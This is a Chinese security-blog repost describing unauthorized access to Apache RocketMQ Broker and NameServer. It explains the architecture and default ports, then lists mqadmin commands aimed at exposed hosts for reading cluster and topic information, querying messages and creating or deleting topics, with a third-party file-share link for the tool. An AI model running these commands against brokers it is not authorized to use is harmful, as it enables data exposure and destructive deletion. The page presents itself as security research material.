Apache RocketMQ Broker 未授权访问漏洞利用方法

admin 2024年10月15日10:42:55评论103 views字数 3721阅读12分24秒阅读模式

先来介绍一下什么是RocketMQ Broker

RocketMQ Broker 是负责消息存储、处理和传输的核心组件。它的主要功能包括:

  1. 消息存储:Broker 负责将生产者(Producer)发送的消息存储到磁盘上。它采用了高效的存储机制,支持大规模消息的持久化存储。

  2. 消息转发:Broker 将存储的消息转发给消费者(Consumer)。它支持多种消费模式,包括推送模式和拉取模式。

  3. 高可用性:为了实现高可用性,Broker 设计了主从(Master-Slave)架构。主 Broker 负责处理读写请求,从 Broker 作为备份,当主 Broker 发生故障时,从 Broker 可以接管工作。

  4. 消息过滤:Broker 支持消息过滤功能,消费者可以根据标签(Tag)等信息过滤需要的消息,从而提高消费效率。

  5. 分布式事务:Broker 支持分布式事务消息,确保跨系统事务的一致性。

  6. 多协议支持:Broker 支持多种协议,包括原生的 RocketMQ 协议、MQTT、HTTP 等,方便不同类型的应用集成。

核心组件

  • CommitLog:消息存储的核心文件,所有消息都首先被写入到 CommitLog 中。

  • ConsumeQueue:消费队列,用于存储消息在 CommitLog 中的偏移量,方便快速定位消息。

  • IndexFile:索引文件,用于加速消息的查找。

工作原理

  1. 消息写入:Producer 发送的消息首先写入到 Broker 的 CommitLog 文件中。消息写入采用顺序写入,具有高效的写入性能。

  2. 消息存储:消息写入 CommitLog 后,会异步地构建 ConsumeQueue 和 IndexFile,方便消息的快速查找和消费。

  3. 消息转发:Consumer 从 Broker 请求消息时,Broker 会根据 ConsumeQueue 和 CommitLog 的信息,将消息发送给 Consumer。

  4. 主从同步:在主从架构中,主 Broker 将消息同步到从 Broker,以确保数据的冗余和高可用性。

高可用和扩展性

  • 主从架构:通过配置主从 Broker,可以实现高可用性和数据冗余。

  • 集群部署:支持集群部署,多个 Broker 可以共同工作,分担流量和存储压力。

  • 动态扩展:Broker 支持动态扩展,可以根据业务需求增加或减少 Broker 节点。

管理和监控

  • 管理工具:RocketMQ 提供了丰富的管理工具和命令行工具,方便运维人员管理和维护 Broker。

  • 监控系统:集成了多种监控指标,支持与主流监控平台对接,方便实时监控 Broker 的运行状态和性能。

总的来说,RocketMQ Broker 是一个高性能、高可用、可扩展的消息处理服务,适用于各种大规模分布式系统中的消息传递需求。它在互联网、金融、电商等领域得到了广泛的应用。

再来介绍下NameServer 和Broker的关系

NameServer

  • 注册中心:NameServer 充当整个 RocketMQ 集群的注册中心。所有的 Broker 都会向 NameServer 注册自己的信息,比如 IP 地址、端口、服务状态等。

  • 路由管理:NameServer 负责管理和维护 Topic 与 Broker 之间的映射关系。当 Producer 或 Consumer 需要发送或消费消息时,会首先从 NameServer 获取最新的路由信息。

  • 轻量级:NameServer 是无状态的且可以轻松扩展,多个 NameServer 实例之间没有直接通信,它们是独立的。

Broker

  • 消息存储:Broker 负责实际的消息存储和转发。Producer 发送的消息会被存储到 Broker 的磁盘上,Consumer 从 Broker 获取消息。

  • 消息转发:当 Consumer 请求消息时,Broker 负责从其存储中读取消息并发送给 Consumer。

  • 集群组成:一个 RocketMQ 集群可以包含多个 Broker,Broker 可以分为主(Master)和从(Slave)角色,以实现高可用性和数据冗余。

工作流程简述

  1. 启动

    • Broker 启动后,会向 NameServer 注册自己。

    • NameServer 接受注册请求并更新其路由表。

  2. 生产消息

    • Producer 向 NameServer 请求获取特定 Topic 的路由信息。

    • NameServer 返回包含相关 Broker 地址的路由信息。

    • Producer 根据路由信息将消息发送到对应的 Broker。

  3. 消费消息

    • Consumer 向 NameServer 请求获取特定 Topic 的路由信息。

    • NameServer 返回包含相关 Broker 地址的路由信息。

    • Consumer 根据路由信息从对应的 Broker 拉取消息。

关系总结

  • NameServer 提供路由信息:它告诉 Producer 和 Consumer,消息应该发送到或从哪个 Broker 获取。

  • Broker 负责实际存储和转发消息:它们是消息数据的最终存储点。

理解了 NameServer 和 Broker 的关系,有助于更好地部署和管理 RocketMQ 集群。希望这些信息能帮助你更清晰地认识它们的角色和功能。

默认配置信息

Apache RocketMQ Broker 通常使用以下几个默认端口,但具体端口号可以根据需要进行配置:

  1. Broker 服务端口:默认是 10911。这是 Broker 用于接收 Producer 和 Consumer 请求的端口。

  2. Broker 高可用(HA)端口:默认是 10912。这是主 Broker 和从 Broker 之间进行同步通信的端口,用于数据复制和同步。

  3. Web Console(管理控制台)端口:这是用于访问 RocketMQ 管理控制台的端口,默认情况下是 8080。不过这个端口是 Web Console 服务的,而不是 Broker 本身的服务端口。

NameServer 端口

虽然不属于 Broker,但为了完整性,这里也提一下 NameServer 的默认端口:

  • NameServer 服务端口:默认是 9876。Producer 和 Consumer 在启动时需要通过这个端口来获取 Broker 的路由信息。

所以真正利用的时候是Broker的10911和NameServer的9876端口

先来安装利用工具(装在linux上面,java的环境为8)

第一步:下载利用工具

wget https://archive.apache.org/dist/rocketmq/4.9.3/rocketmq-all-4.9.3-bin-release.zip

或者上传我提供的文件

链接:https://pan.quark.cn/s/dbf1301194f6

第二步:解压

unzip rocketmq-all-4.9.3-bin-release.zipncd rocketmq-all-4.9.3-bin-release

第三步:找到工具文件

cd rocketmq-4.9.3

第四步:漏洞利用命令

利用的的工具为bin目录下的mqadmin

举例

1、查看指定 Broker 的状态信息。它会显示 Broker 的运行状态、存储信息、消息堆积情况等。

sh bin/mqadmin brokerStatus -n 127.0.0.1:9876 -b 127.0.0.1:10911

Apache RocketMQ Broker 未授权访问漏洞利用方法

其它命令

  1. 查看 RocketMQ 集群状态

sh
mqadmin clusterList -n <name-server-address>

例如:

sh
mqadmin clusterList -n 192.168.1.100:9876
  1. 查看主题信息

sh
mqadmin topicList -n <name-server-address>

例如:

sh
mqadmin topicList -n 192.168.1.100:9876
  1. 创建主题

sh
mqadmin updateTopic -n <name-server-address> -c <cluster-name> -t <topic-name>

例如:

sh
mqadmin updateTopic -n 192.168.1.100:9876 -c DefaultCluster -t MyTopic
  1. 删除主题

sh
mqadmin deleteTopic -n <name-server-address> -t <topic-name>

例如:

sh
mqadmin deleteTopic -n 192.168.1.100:9876 -t MyTopic
  1. 查看消费者状态

sh
mqadmin consumerStatus -n <name-server-address> -g <consumer-group>

例如:

sh
mqadmin consumerStatus -n 192.168.1.100:9876 -g MyConsumerGroup
  1. 查询消息

sh
mqadmin queryMsgById -n <name-server-address> -i <message-id>

例如:

sh
mqadmin queryMsgById -n 192.168.1.100:9876 -i 0A3E8A0F00002A9F0000000000100000
  1. 查看订阅组信息

sh
mqadmin consumerGroupList -n <name-server-address>

例如:

sh
mqadmin consumerGroupList -n 192.168.1.100:9876

原文始发于微信公众号(黑熊安全):Apache RocketMQ Broker 未授权访问漏洞利用方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月15日10:42:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache RocketMQ Broker 未授权访问漏洞利用方法https://cn-sec.com/archives/3269754.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息